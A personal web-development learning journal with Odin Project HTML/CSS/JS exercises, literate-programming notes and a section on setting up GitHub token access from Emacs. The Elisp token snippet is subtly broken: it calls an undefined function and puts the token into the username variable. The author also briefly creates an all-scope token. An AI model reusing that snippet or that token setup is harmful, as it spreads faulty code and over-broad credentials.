* 15. Create an array of “tasks,” each object with {text: "Do homework", done: false}.
* Write a function to print them all into a <ul>.
* Bonus: strike-through text if done is true.
* Learn: DOM lists, iterating objects. */
const tasks = [
{text: "Do homework", done: false,},
{text: "Do laundry", done: false,},
{text: "Walk the dogs", done: false,},
{text: "Fix spaceship", done: false,},
{text: "Adopt a giraffe", done: true,},
];
for (const task of tasks) {
let taskLi = document.createElement('li');
let taskText = document.createTextNode(task.text);
if (task.done) {
let sElement = document.createElement("s");
sElement.appendChild(taskText);
taskLi.appendChild(sElement);
} else {
taskLi.appendChild(taskText);
}
document.getElementById("tasksUl").appendChild(taskLi);
}
</script>
</body>
</html>Today I wanna do something “risky”: peak at Google’s webdev course. I’m feeling curious about a lot of technical nuances and details, and kinda looking for some course that is a middle ground between hands-on-focused and technical-standards-focused. The idea is to go over the curriculum, and then reflect. When I was reading the HTML tech specs, I saw a lot of things that weren’t covered on the tutorials; cool things! I don’t know if I should focus on those specs first, or courses, or books. But I believe a quick look at the curriculum can’t hurt. Let’s do it!
The HTML Course is heavily based on the official HTML Standard, but, still, very fragmented, and sometimes vague.
I’m feeling adventurous. Gonna give a peek at the Standard this weekend.
Just read the first 3 chapters; very technical—skipped a lot of details. But the advantage I see is: not consuming a piece of information is voluntary, as opposed to consuming third-party tutorials and courses, where they decide which information to ommit. The problem is: there are no exercises; I’ll have to deal with that deficiency somehow; probably with tutorials and courses, but after having a general idea of the whole shabang.
I was half-intending to consider reading the HTML Standard as valid coding for the 1h/day streak. But… nah. Then I tried to find something to code. I want either Elisp or JavaScript. JavaScript, for focus on current major learning goals. Exercism, HackerRank, LeetCode, all very advanced problems. Then asked ChatGPT for some, and this is what I got:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JS with ChatGPT</title>
</head>
<body>
<section>
<button id="leButton">Je suis leButton</button>
<p id="leP">Je suis leP.</p>
</section>
<section>
<button id="buttonColorize">Colorize!</button>
</section>
<section>
<input id="leInput" type="Text">
<button id="leInputButton">Je suis leInputButton</button>
<p id="leInputP">Je suis leInputP.</p>
</section>
<section>
<p id="leCounterP">0</p>
<button id="leCounterButtonPlus">+</button>
<button id="leCounterButtonMinus">-</button>
</section>
<script>
/* 1. Print “Hello, world!” in the console. */
console.log('Hello, World!');
/* 2. Store your name in a variable and log Hello, <name>!. */
const name="Rafael";
console.log(`Hello, ${name}!`);
/* 3. Write a function double(n) that returns n * 2.
Test it with
console.log(double(5)). */
function double(n) {
return n * 2;
}
console.log(double(5));
/* 4. Ask the user for a number (prompt). If it’s even, log “even”; else “odd”. */
/* const number = Number(prompt('Give me a number, please.'));
* if (number % 2 === 0) {
* console.log('even');
* } else {
* console.log('odd');
* } */
/* 5. Create a function max(a, b) that returns the bigger number. */
function max(a, b) {
if (a > b) {
return a;
} else {
return b;
}
}
/* 6. Make an array of 5 fruits. Loop through it and log each fruit. */
const fruits = ['apple', 'banana', 'pineapple', 'grapefruit', 'orange'];
for (let i = 0; i < fruits.length; i++) {
console.log(fruits[i]);
}
for (const fruit of fruits) {
console.log(fruit.toUpperCase());
}
/* 7. Write a function that takes an array of numbers and returns their sum. */
const numbers = [1, 2, 3];
const sum = numbers.reduce((sum, number) => sum + number);
console.log(sum);
/* 8. In HTML, add a <button> and a <p>.
In JS, when you click the button, change the <p> text to “Button clicked!”. */
const leButton = document.getElementById("leButton");
const leP = document.getElementById("leP");
leButton.addEventListener("click", function () {
leP.textContent = "Button clicked!";
});
/* 9. Add another button that, when clicked, changes the page background color randomly. */
function randomColor() {
const randomColor = Math.floor(Math.random() * 16777215).toString(16);
// Pad with leading zeros if the hex string is shorter than 6 characters
return `#${randomColor.padStart(6, '0')}`;
}
const buttonColorize = document.getElementById("buttonColorize");
buttonColorize.addEventListener("click", function () {
color = randomColor();
console.log(color);
document.body.style.backgroundColor = color;
});
/* 10. Add an <input> and a button.
When you click the button, display “Hello, <input value>!” in a <p>. */
const leInput = document.getElementById("leInput");
const leInputButton = document.getElementById("leInputButton");
const leInputP = document.getElementById("leInputP");
leInputButton.addEventListener("click", function () {
leInputP.textContent = `Hello, ${leInput.value}!`;
});
/* Minute 50–60: Mini-project
* 11. Build a tiny “counter”:
* - Add a <p> that shows 0.
* - Add “+” and “–” buttons.
* - Clicking “+” increases the number, “–” decreases it. */
const leCounterP = document.getElementById("leCounterP");
const leCounterButtonPlus = document.getElementById("leCounterButtonPlus");
const leCounterButtonMinus = document.getElementById("leCounterButtonMinus");
leCounterButtonPlus.addEventListener("click", function () {
leCounterP.textContent = `${Number(leCounterP.textContent) + 1}`;
});
leCounterButtonMinus.addEventListener("click", function () {
leCounterP.textContent = `${Number(leCounterP.textContent) - 1}`;
});
</script>
</body>
</html>After I submitted my solutions, ChatGPT
- complimented the random color generator (Google’s LOL)
Stylistic note Your random color generator is neat — padding the hex code was a smart touch! That’s something even many beginners forget.
- gave some stylistic and best practices that I didn’t agree at first
Counter readability Instead of converting textContent back and forth each click, you could keep a separate variable:
let counter = 0; function updateCounter() { leCounterP.textContent = counter; } leCounterButtonPlus.addEventListener("click", () => { counter++; updateCounter(); }); leCounterButtonMinus.addEventListener("click", () => { counter--; updateCounter(); }); updateCounter();
My version is more compact, but looks clumsier. I could have also done away with the
`...`, as it accepts numbers.leCounterButtonPlus.addEventListener("click", function () { leCounterP.textContent = `${Number(leCounterP.textContent) + 1}`; }); leCounterButtonMinus.addEventListener("click", function () { leCounterP.textContent = `${Number(leCounterP.textContent) - 1}`; });
Learned another one!
Surprisingly, it took me just about one hour to do those! Good on you, ChatGPT!
Today I start a new lesson, and a new branch on the assignment tree: Cascade, the C from CSS. Just read the lesson text, and now am complementing with the Wikipedia article. I realized that the more formal texts (like standards) work better for me. Maybe it’s because I like the raw info/rules, and then make my own analogies.
Doing some clean-up on the 02-… assignment. Also did some cleanup for the other assignments (portfolios should be good looking!)
Finished this one today. It was about that apparently bothers devs a lot: find out the culprit for unexpected styling behavior. I like that type of mental game!
Check out the links for each exercise, with all the action here.
Just finished second CSS Assignment, and added a checkmark to the main README of the tasks. This one I had to fix a minor detail after finishing it, and then looking at the recommended solution. I didn’t catch one shared property among elements, which could make code legibility and maintenance much easier. Learned another one!
Now, out to busking, and later some more!
Back from busking, very tired. But ready to code!
Used my free time to read ahead the next assignment. Let’s get to it. Done! After 48 minutes.
For this exercise, I just went full LP, finished the assignment, and only then commited the chunks. It was much easier to get things flowing, but a little bit messier when dealing with text edits. But I believe this is a nice approach.
This one was the quickest so far! Again, LP, and then commit helped.
This was even quicker: 8 minutes!
And with it, I finished the first branch, intro-to-css!
Today started with some final polishing on the Recipes Project.
Writing the commits before coding was a success. Very comforting to code when you know there’s a light at the end of the tunnel, and no rework will be necessary (well, maybe less work…)
Just found out that the HTML Specification has a version for developers. Did some reading, nice stuff. But potentially a rabbit hole. Will focus on Odin.
Now, I start learning CSS!
The action is happening in my forked repo of the CSS Exercises.
- I’m clocking my work, and this is helping to keep me grounded, and also learn realistic timetable expectations;
- CSS is fun
- Literate Programming is really helpful to organize the work, especially so when I must leave the work half-finished, and come back later: it’s faster to hit the ground running with LP
Back at it!
This new project felt too simple. I kinda underestimated it and couldn’t do something I wanted: a clean commit history from the beginning. I’ll try another approach today: write the commit messages before coding. Let’s see how that goes. (Still working on the project Recipes from Odin).
Edit: You can see the final version of the page here (three recipes inspired on Harry Potter’s books).
Just heard about it this week. I believe I applied it today. I love it!
Very helpful, much better! Knowing that each task had a purpose, and that we would get to the final product was very empowering and calming. I’d call it a success!
Back to HTML!
We’re approaching a project on Odin!
Starting with Git.
Just learned about Commit Messages.
Next is a project, and then we start CSS.
I have been thinking about yesterday’s work, with lots of refactoring, while porting to LP. It was difficult to keep a clean commit history.
I believe the best way to accomplish it is by planning beforehand. I have some ideas, that I will experiment with in this next project.
Check it out here.
Hoje foi um dia difícil, mas consegui o X!
Thought of doing some elisp coding this sunday. I have this project that creates Github repositories directly from inside Emacs. As they say: “Life is better when you don’t have to leave your editor”.
Last time I touched it was 3 years ago.
Today I thought of checking it out, seeing how it stands, and maybe hacking it a bit. So, for this coding, all the action will happen commit history for the dev branch of the repository of that project.
This is how it went.
I just checked out if I had the repo in my machine, and it was there.
Then I followed the repo’s instructions to run it. You need an access token, and I had to create one. The proccess was cryptic:
- You have to choose the powers of your token;
- I wanted the power to create a repository;
- I couldn’t find that option there.
After getting scared by the implications of them insisting on an expiration date for the token, I wanted to create the least powerful, but still useful token. Invested a dozen minutes trying to read throught the docs, and then realized I was going down a rabbit hole.
Decided on just creating the most powerful token possible, with a very short expiration date—seven days (The Ring, anyone?). The steps were:
- Open the page to generate a Classic token
- Put on Note: ma-github
- On Expiration: 7 days
- On Select scopes: select everything
- Click Generate token
- Copy the generated token and paste it on a safe place
Here I Needed some help from ChatGPT:
i want to have my Github token accessed by Emacs How should I do it?
Then ChatGPT inspired me to change gears.
- Go to the Github page to generate a fine-grained token
- Click Generate new token
- Token name: ma-github
- Resource owner: the Github account where the repositories will be created
- Expiration: 30 days
- Repository access: All repositories
- Permissions
- Click the + button on the upper-right corner
- Select Administration
- Click outside of the selection thingy to make it disappear
- On the new item Administration, change from Read-only to Read and write
- Click Generate token
- Click Generate token again, on the pop-up window
- Copy the token
- Paste it somewhere safe
- Follow this instructions to create =~/.authinfo.gpg~
- Create a key
- Open a terminal and run the command
gpg --gen-key - Inform your real name and then your email
- It will generate a key in
~/.gnupg
- Open a terminal and run the command
- Create a key
- Create (or edit) the file
~/.authinfo.gpgin Emacs. Use this format (one line per entry):machine api.github.com login YOUR_GITHUB_USERNAME password <YOUR_TOKEN> - Change the permissions of the file to make it more secure
chmod 600 ~/.authinfo.gpg
This code snippet uses the token created before to give ma-github access to Github.
It
- Asks for a Github username, and then
- Sets the environment variables needed by
ma-github.
;; ensure auth-source uses the default backends (it does by default)
;; Here is a tiny helper that reads the token and (optionally) sets env var:
(require 'auth-source)
(defun ma-github-token-from-authinfo (&optional username)
"Find a GitHub token from auth-source for api.github.com and return the secret string."
(let* ((host "api.github.com")
(user (or username user-login-name))
(entry (car (auth-source-search :host host :user user :max 1))))
(when entry
(let ((secret (plist-get entry :secret)))
(if (functionp secret) (funcall secret) secret)))))
;; optional: make token available to Emacs subprocesses (e.g. `curl` from Emacs)
(let* ((user (read-string "Github username: "))
(tok (my/github-token-from-authinfo user)))
(when user
(setenv "MA_GITHUB_USER" tok))
(when tok
(setenv "MA_GITHUB_TOKEN" tok)))Now let’s try and create a repo with ma-github.
M-x ma-github-create
And here is the Github repository created using ma-github!
Now let’s integrate the auth-source functionality.
Timeline (I tried, but too distracting!):
- [2025-09-28 Sun 13:13] Breaking the code down in LP blocks.
- [2025-09-28 Sun 13:13] info on defun optional arguments
- […] All the action is on the commit history for the dev branch.
- [2025-09-28 Sun 21:02] Ported to LP and tested: (ma-github-create NAME)
I tried my best to be organized, but it’s messy. Next step is to reorganize the commits. Not for functionality, but learning.
Starting later today. Overslept.
Let’s do this!
To get some practice using lists, create a new HTML document and create the following lists:
- An unordered shopping list of your favorite foods
- An ordered list of todo’s you need to get done today
- An unordered list of places you’d like to visit someday
- An ordered list of your all time top 5 favorite video games or movies
Create the structure for main HTML doc:
odin/assignments/foundations/lists/index.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>My first page from Odin</title>
</head>
<body>
<<food>>
<<todos>>
<<places>>
<<games>>
</body>
</html>
- An unordered shopping list of your favorite foods
<<food>> +≡
<h1>My favorite foods</h1>
<ul>
<li>Lasagna</li>
<li>Pork ribs</li>
<li>Avocado with lemon</li>
<li>Oatmeal</li>
<li>Warm bread with (real) butter</li>
</ul>
- An ordered list of todo’s you need to get done today
<<todos>> +≡
<h1>Todos for Todays</h1>
<ol>
<li>Code a minimum of 1h</li>
<li>Exercise and stretch</li>
<li>Busking</li>
<li>Play with dogs</li>
<li>RPG with ChatGPT</li>
</ol>
- An unordered list of places you’d like to visit someday
<<places>> +≡
<h1>Places I want to visit</h1>
<ul>
<li>Paris</li>
<li>Japan</li>
<li>Portugal</li>
<li>Germany</li>
<li>Canada</li>
</ul>
- An ordered list of your all time top 5 favorite video games or movies
<<games>> +≡
<h1>My favorite games of all time</h1>
<ol>
<li>Zelda (Ocarina)</li>
<li>Pokémon Blue/R./Y.</li>
<li>Metal Slug</li>
<li>Super Mario World</li>
<li>Harvest Moon (NES)</li>
</ol>
- Create a new directory named odin-links-and-images.
mkdir ./odin/assignments/foundations/odin-links-and-images
- Within that directory, create a new file named index.html.
- Open the file in VS Code and fill in the usual HTML boilerplate.
odin/assignments/foundations/odin-links-and-images/index.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>My first page from Odin</title>
</head>
<body>
<<body Content odin-links-and-images>>
</body>
</html>
- Finally, add the following h1 to the body:
<h1>Homepage</h1>
<<body Content odin-links-and-images>> +≡
<h1>Homepage</h1>[2025-09-27 Sat 11:57] Pausing for lunch.
[2025-09-27 Sat 17:57] Coming back, after busking.
The Web is made out of links. Let’s add our first one. We need to add an anchor element, and give it some attributes. We’ll leave a placeholder for the attributes.
<<body Content odin-links-and-images>> +≡
<a
<<attributes for Odin about page href>>
>About the Odin Project.</a>The first attribute contains the link itself, and is called href.
<<attributes for Odin about page href>> +≡
href="https://www.theodinproject.com/about"The link now would open on the same tab. Let’s open in a new one, using the attribute target.
<<attributes for Odin about page href>> +≡
target="_blank"Now we add some security measures. This new attribute and value prevents some dangers when linking to another page. Possible attacks include phishing and tabnabbing.
<<attributes for Odin about page href>> +≡
rel="noopener noreferrer"Create a page on our own server.
NOTE: the pages/ was added later in this assignment.
odin/assignments/foundations/odin-links-and-images/pages/about.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Odin Links and Images</title>
</head>
<body>
<h1>About Page</h1>
<<le Charles>>
</body>
</html>Add a relative link to it on the main page.
<<body Content odin-links-and-images>> +≡
<a href="pages/about.html">About</a>Let’s organize it: add a folder for all the other pages besides index.html.
mkdir pagesAnd move about.html there.
mv about.html pagesAssignment.
- Create a new directory named images within the odin-links-and-images project.
mkdir images
- Next, download our practice image and move it into the images directory we just created.
- Rename the image to dog.jpg.
wget --output-document=images/dog.jpg https://unsplash.com/photos/Mv9hjnEUHR4/download?force=true&w=640Add the image to the home page, and the About one (using relative path). Both will have some attributes that are the same. Let’s give them a placeholder.
<<body Content odin-links-and-images>> +≡
<img src="./images/dog.jpg"
<<dog pic attributes>>
>Now add the pic to the About page, using a relative path to the parent folder.
<<le Charles>> +≡
<img src="../images/dog.jpg"
<<dog pic attributes>>
>Add the alternative text.
<<dog pic attributes>> +≡
alt="A black dog (pug) with a gray wool blanket."Now the size attributes.
<<dog pic attributes>> +≡
width="604" height="806"[2025-09-27 Sat 19:37] Assignment on Interneting
odin/assignments/foundations/interneting-links-and-images/links.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<title>Links</title>
<meta charset="UTF-8">
</head>
<body>
<h1>Links</h1>
<p>This particular page is about links! There are three kinds of links:</p>
<ul>
<<links>>
</ul>
</body>
</html>odin/assignments/foundations/interneting-links-and-images/images.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<title>Images</title>
<meta charset="UTF-8">
</head>
<body>
<h1>Images</h1>
<p>This page covers common image formats, but you may also be looking for
<a href='links.html'>links</a> and
<a href='misc/extras.html'>useful extras</a>.
</p>
<<images>>
</body>
</html>odin/assignments/foundations/interneting-links-and-images/misc/extras.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<title>Extras</title>
<meta charset="UTF-8">
</head>
<body>
<h1>Extras</h1>
<p>This page is about miscellaneous HTML things,
but you may also be interested in
<a href='../links.html'>links</a> or
<a href='../images.html'>images</a>.
</p>
<h2>Character Sets</h2>
<p>You can use UTF-8 to count in Turkish:</p>
<ol>
<li>bir</li>
<li>iki</li>
<li>üç</li>
<li>dört</li>
<li>beş</li>
</ol>
<<Reserved Characters>>
<<Curly Quotes>>
</body>
</html>Unzip images.
unzip images-4149f7.zip
rm images-4149f7.zipAbsolute links.
<<links>> +≡
<li>Absolute links, like to
<a href='https://developer.mozilla.org/en-US/docs/Web/HTML'
target='_blank'>Mozilla
Developer Network</a>,
which is a very good resource for web developers.
</li>Relative Links.
<<links>> +≡
<li>Relative links, like to our <a href='misc/extras.html'>extras page</a>.
</li><<links>> +≡
<!-- This won't work for our local HTML files -->
<li>Root-relative links, like to the
<a href='/'>home page</a>
of our website, but those aren't useful to us right now.
</li>Add the images. First a JPG, good for pictures (large color palettes).
<<images>> +≡
<h2>JPGs</h2>
<p>JPG images are good for photos.</p>
<img src='images/mochi.jpg' width='75'
<<alt jpg>>
>Then a GIF, for animations, (short color palettes, crude transparency).
<<images>> +≡
<h2>GIFs</h2>
<p>GIFs are good for animations.</p>
<img src='images/mochi.gif' width='75'
<<alt gif>>
>Now a PNG, good transparency, large color palletes, but bigger than JPG. Useful for small images that need good transparency, like icons and logos.
<<images>> +≡
<h2>PNGs</h2>
<p>PNGs are good for icons and logos.</p>
<img src='images/mochi.png' width='75'
<<alt png>>
>Finally the SVG, vector based (as opposed to pixel-): scales without loss of quality. Use them instead of PNGs whenever possible.
<<images>> +≡
<h2>SVGs</h2>
<p>SVGs are <em>amazing</em>. Use them wherever you can.</p>
<img src='images/mochi.svg' width='75'
<<alt svg>>
><<alt jpg>> +≡
alt='A mochi ball in a bubble'<<alt gif>> +≡
alt='A dancing mochi ball'<<alt png>> +≡
alt='A mochi ball'<<alt svg>> +≡
alt='A mochi ball with Bézier handles'<<Curly Quotes>> +≡
<p>If you’re into “web typography,” you’ll also find
yourself using curly quotes quite a bit.
</p><<Reserved Characters>> +≡
<h2>HTML Entities</h2>
<p> There are three reserved characters in HTML:
<strong><</strong> <strong>></strong> and <strong>&</strong>.
You should always use HTML entities for these three characters.
</p>Was drifting and rabbit-holling, as per usual Checking out the Odin Project, thought it was cool they also develop character. Grit, resilience, and the rollercoaster to mastery were eye-openers to me.
Asked ChatGPT for help there. Got realistic market analysis, criticism about main goal, specific roadmap with projects, and milestones.
Started applying the Seinfeld checkmarks. I want to code a minimum of 1 hour every day. Almost procrastinated until I bought a cool sheet with the squares, but ended up doing it by hand.
I really like those sites that allow you to code online. Did 3 min of Exercism, elisp. But then felt guilty, because I was derailing from the reading materials from Odin. I want to code in other languages, besides JS. I’ll make sure to include them. I want it to be also fun and enjoyable :)
Decided to turn this into a journal for accountability. A bit of afraid this will derail me (happened in the past), but more confident on my resilience and emotional regulation skills this time. Let’s see.
Reading a lot of the initial material from Odin. Decided on the Foundations. Gonna follow this one—and not derail! Need to feel secure about this. But have to be careful about rabbit holes.
Personally, I tend to try to become a “specialist” on every detail. Many times I don’t get past the first stages of the learning process. Journaling helps me a lot here.
Just opened a new issue on Odin’s page. I want to start collaborating. It’s a really easy one, but it’s a start.
Just found out I goofed-up: the real issue was my eagerness… The issue is non-existant: I misread the text… Well, one good opportunity to learn about this current personality trait!
Fitst session of the day ended. Could finish all the initial readings and setup stuff.
Next: HTML!
Let’s see if I remember it. It’s the code to sum two numbers. It’s a bit more complicated, because involves accessing the DOM. Let’s simplify it. Just sum the contents of two variables, and assign it to another variable.
function sum (a, b) {
let total = a + b;
return total;
}function NAME (ARGS) { STATEMENT; … }
And it returns with return.
Node.js is used to run JS in the server.
HTML: the page has content, which is enclosed in tags, forming elements.
An HTML tag is the markup language entity used to define elements with the content that will be shown on the page.
The element has
- Opening tag;
- Content;
- Closing tag.
Void elements
- Don’t have a closing tag; and
- Have no content.
We’re coding, baby!
<!DOCTYPE html>
<html lang="en">
<<head Block>>
<<body Block>>
</html>The head contains metadata and rendering instructions.
No page content here.
Always the first element inside <html>.
<head Block> +≡
<head>
<<charset>>
<<title>>
</head>Let’s make sure all glyphs show correctly.
<<charset>> +≡
<meta charset="UTF-8">Now the title.
<<title>> +≡
<title>My first page from Odin</title><<body Block>> +≡
<body>
<<body Contents>>
</body>Now add this to Emacs web-mode.
(add-to-list 'web-mode-snippets
'("my-odin-html-boilerplate"
"<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>My first page from Odin</title>
</head>
<body>
</body>
</html>
"))<<body Contents>> +≡
<h1>Hello, World!</h1>And W3 validate, baby!
I did some coding in HTML, and some debugging in Emacs. Either Org or noweb were misbehaving.
Didn’t know which though—I just restarted Emacs, and everything went back to normal.
Could apply the steps recommended by Odin for analyzing the problem, and it helped.
Let’s try Exercism. Can’t really do the exercises without knowing the language, and don’t think grinding on Exercism is a good use of my time.
Gonna go back to Odin, even if it is more theory now. There’s hopefully some coding even now in the beginning. If not, I’ll reserve some time later and code elisp.
Create a plain blog article page which uses different headings, uses paragraphs, and has some text in the paragraphs bolded and italicized. You can use Lorem Ipsum to generate dummy text, in place of real text as you build your sites.
odin/assignments/foundations/working-with-text/index.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Lorem ipsum</title>
</head>
<body>
<h1>Phasellus neque orci, porta a, aliquet quis, semper a, massa</h1>
<p>Aliquam erat volutpat. Nunc eleifend <em>leo vitae magna</em>. In id erat non orci commodo lobortis. Proin neque massa, cursus ut, gravida ut, lobortis eget, lacus. Sed diam. Praesent fermentum tempor tellus. Nullam tempus. Mauris ac felis vel velit tristique imperdiet. Donec at <strong>peed</strong>. Etiam vel neque nec dui dignissim bibendum. Vivamus id enim. Phasellus neque orci, porta a, aliquet quis, semper a, massa. Phasellus purus. Pellentesque tristique imperdiet tortor. Nam euismod <strong>tellus id erat</strong>.</p>
<h2>Donec hendrerit tempor tellus</h2>
<p>Pellentesque dapibus suscipit ligula. Donec posuere augue in quam. Etiam vel tortor sodales tellus ultricies commodo. Suspendisse potenti. Aenean in sem ac leo mollis blandit. Donec neque quam, dignissim in, mollis nec, sagittis eu, wisi. Phasellus lacus. Etiam laoreet quam sed arcu. Phasellus at dui in ligula mollis ultricies. Integer placerat tristique nisl. Praesent augue. Fusce commodo. Vestibulum convallis, lorem a tempus semper, dui dui euismod elit, vitae placerat urna tortor vitae lacus. Nullam libero mauris, consequat quis, varius et, dictum id, arcu. Mauris mollis tincidunt felis. Aliquam feugiat tellus ut neque. Nulla facilisis, risus a rhoncus fermentum, tellus tellus lacinia purus, et dictum nunc justo sit amet elit.</p>
<h3>Aliquam posuere</h3>
<p>Nullam eu ante vel est convallis dignissim. Fusce suscipit, wisi nec facilisis facilisis, est dui fermentum leo, quis tempor ligula erat quis odio. Nunc porta vulputate tellus. Nunc rutrum turpis sed pede. Sed bibendum. Aliquam posuere. Nunc aliquet, augue nec adipiscing interdum, lacus tellus malesuada massa, quis varius mi purus non odio. Pellentesque condimentum, magna ut suscipit hendrerit, ipsum augue ornare nulla, non luctus diam neque sit amet urna. Curabitur vulputate vestibulum lorem. Fusce sagittis, libero non molestie mollis, magna orci ultrices dolor, at vulputate neque nulla lacinia eros. Sed id ligula quis est convallis tempor. Curabitur lacinia pulvinar nibh. Nam a sapien.</p>
<h3>Fusce suscipit, wisi nec facilisis facilisis, est dui fermentum leo, quis tempor ligula erat quis odio</h3>
<p>Pellentesque dapibus suscipit ligula. Donec posuere augue in quam. Etiam vel tortor sodales tellus ultricies commodo. Suspendisse potenti. Aenean in sem ac leo mollis blandit. Donec neque quam, dignissim in, mollis nec, sagittis eu, wisi. Phasellus lacus. Etiam laoreet quam sed arcu. Phasellus at dui in ligula mollis ultricies. Integer placerat tristique nisl. Praesent augue. Fusce commodo. Vestibulum convallis, lorem a tempus semper, dui dui euismod elit, vitae placerat urna tortor vitae lacus. Nullam libero mauris, consequat quis, varius et, dictum id, arcu. Mauris mollis tincidunt felis. Aliquam feugiat tellus ut neque. Nulla facilisis, risus a rhoncus fermentum, tellus tellus lacinia purus, et dictum nunc justo sit amet elit.</p>
<h2>Mauris mollis tincidunt felis</h2>
<p>Nullam eu ante vel est convallis dignissim. Fusce suscipit, wisi nec facilisis facilisis, est dui fermentum leo, quis tempor ligula erat quis odio. Nunc porta vulputate tellus. Nunc rutrum turpis sed pede. Sed bibendum. Aliquam posuere. Nunc aliquet, augue nec adipiscing interdum, lacus tellus malesuada massa, quis varius mi purus non odio. Pellentesque condimentum, magna ut suscipit hendrerit, ipsum augue ornare nulla, non luctus diam neque sit amet urna. Curabitur vulputate vestibulum lorem. Fusce sagittis, libero non molestie mollis, magna orci ultrices dolor, at vulputate neque nulla lacinia eros. Sed id ligula quis est convallis tempor. Curabitur lacinia pulvinar nibh. Nam a sapien.</p>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec hendrerit tempor tellus. Donec pretium posuere tellus. Proin quam nisl, tincidunt et, mattis eget, convallis nec, purus. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla posuere. Donec vitae dolor. Nullam tristique diam non turpis. Cras placerat accumsan nulla. Nullam rutrum. Nam vestibulum accumsan nisl.</p>
<h3>Lorem ipsum dolor sit amet, consectetuer adipiscing eli</h3>
<p>Pellentesque dapibus suscipit ligula. Donec posuere augue in quam. Etiam vel tortor sodales tellus ultricies commodo. Suspendisse potenti. Aenean in sem ac leo mollis blandit. Donec neque quam, dignissim in, mollis nec, sagittis eu, wisi. Phasellus lacus. Etiam laoreet quam sed arcu. Phasellus at dui in ligula mollis ultricies. Integer placerat tristique nisl. Praesent augue. Fusce commodo. Vestibulum convallis, lorem a tempus semper, dui dui euismod elit, vitae placerat urna tortor vitae lacus. Nullam libero mauris, consequat quis, varius et, dictum id, arcu. Mauris mollis tincidunt felis. Aliquam feugiat tellus ut neque. Nulla facilisis, risus a rhoncus fermentum, tellus tellus lacinia purus, et dictum nunc justo sit amet elit.</p>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec hendrerit tempor tellus. Donec pretium posuere tellus. Proin quam nisl, tincidunt et, mattis eget, convallis nec, purus. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla posuere. Donec vitae dolor. Nullam tristique diam non turpis. Cras placerat accumsan nulla. Nullam rutrum. Nam vestibulum accumsan nisl.</p>
<p>Pellentesque dapibus suscipit ligula. Donec posuere augue in quam. Etiam vel tortor sodales tellus ultricies commodo. Suspendisse potenti. Aenean in sem ac leo mollis blandit. Donec neque quam, dignissim in, mollis nec, sagittis eu, wisi. Phasellus lacus. Etiam laoreet quam sed arcu. Phasellus at dui in ligula mollis ultricies. Integer placerat tristique nisl. Praesent augue. Fusce commodo. Vestibulum convallis, lorem a tempus semper, dui dui euismod elit, vitae placerat urna tortor vitae lacus. Nullam libero mauris, consequat quis, varius et, dictum id, arcu. Mauris mollis tincidunt felis. Aliquam feugiat tellus ut neque. Nulla facilisis, risus a rhoncus fermentum, tellus tellus lacinia purus, et dictum nunc justo sit amet elit.</p>
</body>
</html>And this coding session warranted me my first one Seinfeld checkmark!
So, we’re learning Web Dev. Well, at least I am!
Let’s make it easier and more fun with Literate Programming in Org Mode.
Starting from the fundamentals. Web pages are all about navigating through content. To make things easier, we have:
- HTML, for structure;
- CSS, for style;
- Javascript, for logic.
A minimal html page must have:
<!DOCTYPE html>
<html>
</html>Here:
<!DOCTYPE html>is the Document Type Declaration; it tells the browser the specifications that the page follows.<html>and</html>enclose the page itself.
The fundamental element of a web page is… well, an element.
By definition, an element is composed by (example inside the parentheses):
- opening tag (
<html>); - everything in between (called content);
- closing tag (
</html>).
The page is made of a sequence of elements.
Some elements may be empty: they don’t have a closing tag.
Example: <!DOCTYPE html>.
A cool first web page would be:
<!DOCTYPE html>
<html>
<p>Hello, World!</p>
</html>NOTE: Here the contents of the element <p> are “Hello, world!”.
The <html> element contains all the elements of the whole page.
Only two tags should be immediately inside it: <head> and <body>.
<head> contains metadata; more about this below.
<body> contains all the visible elements of the page.
Then, each element of the page is either inside <head> or <body>.
This is illustrated below.
<html> | +- <head> | +- <body>
To help make things more clear, we’ll call
- Document: the elements
<!DOCTYPE>and<head>together, and - Page: the
<body>element.
For instance: hello-world.html contains the whole document.
When we open it on a browser, we see the (obviously visible) page, which is inside <body>.
Let’s then fix our first page!
It had a <p> element immediately inside <html>, which is against the specs.
It must be inside <body>.
We also have to add a <head> inside <html>.
We could leave it empty, but that’s not cool.
We’ll put a <title> inside it.
<title> is the page title, that appears as the “name” of the browser window or the page’s tab in the browser.
<!DOCTYPE html>
<html>
<head>
<title>My first fixed page</title>
</head>
<body>
<p>Hello, World!</p>
</body>
</html>If you open both hello-world.html and hello-world-fixed.html, you’ll see that they look the same.
This shows how forgiving HTML is.
It really tries to help us get there.
Good on you, HTML!
To help organizing paragraphs, we have headings.
They give us six of them: <h1> to <h6>.
<!DOCTYPE html>
<html>
<head>
<title>Guess who my favorite was?</title>
</head>
<body>
<h1>S.H.I.E.L.D. Team</h1>
<h2>Nick Fury</h2>
<p>Leading S.H.I.E.L.D. with an iron will and one eye on the bigger picture. He always anticipates threats before they happen. His presence commands respect across the superhero community. Nothing slips past his watchful eye.</p>
<h2>Phil Coulson</h2>
<p>The calm in the storm, proving loyalty is a superpower. Coulson bridges heroes and humans with tact and understanding. He carries a quiet strength that inspires trust. Even in chaos, his steady hand guides the team.</p>
<h2>Maria Hill</h2>
<p>Strategic, precise, and always ready for action. Hill can handle the toughest missions with clarity and focus. Her decisiveness keeps S.H.I.E.L.D. running smoothly. She never hesitates when lives are on the line.</p>
<h2>Melinda May</h2>
<p>The Cavalry—silent, deadly, and unstoppable. May’s combat skills are unmatched in the field. Beneath her stoic exterior lies fierce loyalty to her team. Every mission she undertakes is executed with perfection.</p>
<h2>Leopold Fitz</h2>
<p>Brains behind the tech, making the impossible possible. Fitz’s inventions often turn the tide in dire situations. His curiosity drives constant innovation. Even under pressure, his intellect shines brilliantly.</p>
<h2>Skye</h2>
